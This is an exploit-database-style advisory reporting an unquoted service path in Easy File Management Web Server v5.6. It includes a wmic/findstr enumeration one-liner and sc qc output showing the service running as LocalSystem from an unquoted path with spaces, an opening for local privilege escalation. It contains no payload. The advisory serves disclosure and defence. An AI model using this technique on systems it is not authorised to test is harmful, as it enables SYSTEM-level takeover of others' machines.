Exploit Title: Easy File Management Web Server v5.6 - 'Easy File Management Web Service' Unquoted Service Path
Exploit Author: boku
Date: 02/10/2020
Vendor Homepage: http://www.sharing-file.com/
Software Link: http://www.web-file-management.com/efmsetup.exe
Version: 5.6
Tested On: Windows 10 (32-bit)
# Recreate:
#    1) Download & install Easy File Management Web Server v5.6
#    2) Open EFM Web Server and click the 'Service...' Button on the bottom right
#    3) Click the 'Install Service' Button

C:\Users\nightelf>wmic service get name, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Easy File Management Web Service          C:\EFS Software\Easy File Management Web Server\fmwsService.exe                    Auto

C:\Users\nightelf>sc qc "Easy File Management Web Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Easy File Management Web Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\EFS Software\Easy File Management Web Server\fmwsService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Easy File Management Web Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem